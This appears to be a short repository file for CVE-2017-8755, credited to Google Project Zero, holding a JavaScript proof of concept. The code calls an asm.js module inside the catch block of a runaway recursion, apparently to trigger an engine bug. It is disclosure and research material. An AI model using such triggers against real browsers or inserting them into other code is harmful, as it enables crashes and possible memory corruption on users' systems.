33 lines (24 loc) · 578 Bytes

CVE-2017-8755

Fix: Sep 2017
Credit: lokihardt of Google Project Zero

PoC

function Module() {
    'use asm';

    function f() {
    }

    return f;
}

function recur() {
    try {
        recur();
    } catch (e) {
        Module(1);
    }
}

recur();

Reference